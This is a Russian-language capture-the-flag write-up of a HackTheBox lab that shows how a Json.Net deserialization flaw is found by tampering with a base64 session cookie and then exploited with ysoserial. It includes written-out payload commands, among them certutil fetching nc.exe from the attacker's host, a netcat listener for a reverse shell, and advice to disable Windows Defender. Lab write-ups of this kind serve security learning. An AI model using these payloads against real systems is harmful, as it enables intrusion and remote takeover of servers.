Введение
Сериализация — это процесс преобразования какого-либо объекта в формат данных, который впоследствии можно восстановить. Люди часто сериализуют объекты, чтобы сохранить их в хранилище или отправить в рамках коммуникации.
Десериализация — это обратный процесс, когда данные берутся из определенного формата и перестраиваются в объект. Сегодня самым популярным форматом данных для сериализации данных является JSON.
Уязвимость десериализации — это та, которая в процессе десериализации отправляемых вами данных может внедрить код и выполнить его на машине жертвы, наиболее типична в приложениях, использующих Node JS, но в данном случае в JSON.
Лаборатория
Чтобы провести эту атаку и показать вам, как работает методология этой атаки, я использую машину JSON от HacktheBox.
Это машина средней сложности, на которой эксплуатируется эта уязвимость.
Давайте начнем.
Обнаружение
Чтобы обнаружить эту уязвимость, вам прежде всего нужны входные данные или какое-то значение, которое отправляется на сайт-жертву в формате JSON.
В случае с этим сайтом данные, отправленные в формате JSON, присутствуют в файлах cookie сеанса, используемых Веб-сайт.
Чтобы увидеть сеанс или файлы cookie, вы можете использовать Firefox, а с помощью F12 -> Хранилище вы можете увидеть здесь все сеансы и файлы cookie, которые у вас есть в этом сеансе браузера.
Если вы не хотите использовать Firefox, я рекомендую вам использовать Burpsuite, потому что нам все равно придется использовать его для эксплуатации этой уязвимости.
Когда вы останавливаете веб-петицию с помощью прокси-сервера Burpsuite, вы можете увидеть, как ваш файл cookie путешествует, закодированный с помощью base64:
Чтобы увидеть хорошо и проанализировано, вы можете использовать эту команду:
echo "base64encodedtext" | base64 -d | jq
Результат:
Отлично, если вы хотите знать, уязвимо ли оно для десериализации, самое главное - увидеть, изменяется ли значение вывода также или выдает ошибку, поэтому мы попытаемся изменить имя пользователя, которое является администратором, на другое в этом случае будет s12.
Чтобы поместить ваши данные в base64, вы можете использовать эту команду:
echo '{"Id":1,"UserName":"s12","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}' | base64 -w 0
Полученные результаты:
Это работает!
Обнаружение этой уязвимости завершено, эта страница уязвима, теперь вам нужно только создать полезную нагрузку для выполнения удаленных команд на сервере.
Эксплуатация
Отлично, иногда вам нужно на 100% знать, что работает за этим приложением, чтобы создать вредоносную полезную нагрузку, а иногда лучшим вариантом является принудительное выполнение ошибок, чтобы увидеть ответ со стороны сервера.
Я создаю эту базовую строку в base64:
Я отправляю на сервер и получаю этот ответ:
«Невозможно десериализовать объект Json.Net». мне большего и не надо…
Создание вредоносного кода:
Для выполнения этого шага нам понадобится компьютер с Windows и доступ только к Интернету.
Когда у нас есть компьютер с Windows, мы загружаем zip файл Releases из этого репозитория:
Когда вы распакуете все zip-файлы, вы увидите одну папку под названием Releases, щелкните внутри и посмотрите, есть ли у вас исполняемый файл с именем ysoserial.exe, если он здесь, все работает хорошо.
Откройте CMD -> перейдите в папку ysoserial.exe с помощью команды cd -> Выполните exe, чтобы увидеть меню справки
Для этого вам нужно отключить Защитник Windows.
Идеально, если вы видите часть гаджетов в меню справки, вы можете увидеть это:
Я не знаю, помните ли вы, что когда мы форсировали ошибку, она пыталась десериализовать данные в Json.net, поэтому она у нас уже есть, и в этом случае мы собираемся создать вредоносный код:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP_KALI"
Результат:
Хорошо, это код, но этот сервер работает в base64, чтобы сделать это, я изменяю команду с помощью:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP" -o base64
Результат:
Отлично, я переношу это на свою машину Kali.
Я выполняю это для прослушивания пинг-соединений на моей машине Kali:
Ставлю новую полезную нагрузку:
Я выполняю и…
У меня есть RCE (удаленное выполнение кода). Попробуем получить обратную оболочку.
Kali: python3 -m http.server 80 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://IP_KALI/nc.exe C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\nc.exe" -o base64
Результат:
я исполняю…
Отлично, последний шаг — использовать двоичный файл nc.exe для получения обратной оболочки.
Kali: rlwrap nc -lvnp 1212 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://10.10.14.12/nc.exe C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\nc.exe" -o base64
Результат:
Сделанный :)
Выводы
Чтобы закончить эту статью, скажу вам, что эту атаку важно освоить, не только для использования десериализации JSON, но и для понимания того, как работают атаки десериализации, их много, если вы хотите больше, пишите в комментариях.
Если вам нравится мой контент и вы хотите помочь мне вывести этот проект на новый уровень, вы можете стать участником, пожертвовав ежемесячную подписку. Ваша поддержка поможет мне продолжать создавать качественный контент. Благодарим вас за щедрость!
Если в настоящее время пожертвование невозможно для вас, не проблема! Ваша поддержка в обмене моим проектом и распространении слова очень ценится. Я буду продолжать создавать и делиться своими работами, несмотря ни на что, и я благодарен за вашу поддержку и интерес.
Если вы хотите поддержать меня, вы можете проверить мой дополнительный профиль на Medium и увидеть все статьи! Следите и поддерживайте его!. Это ссылка:
Спасибо, что прочитали это.
S12 :)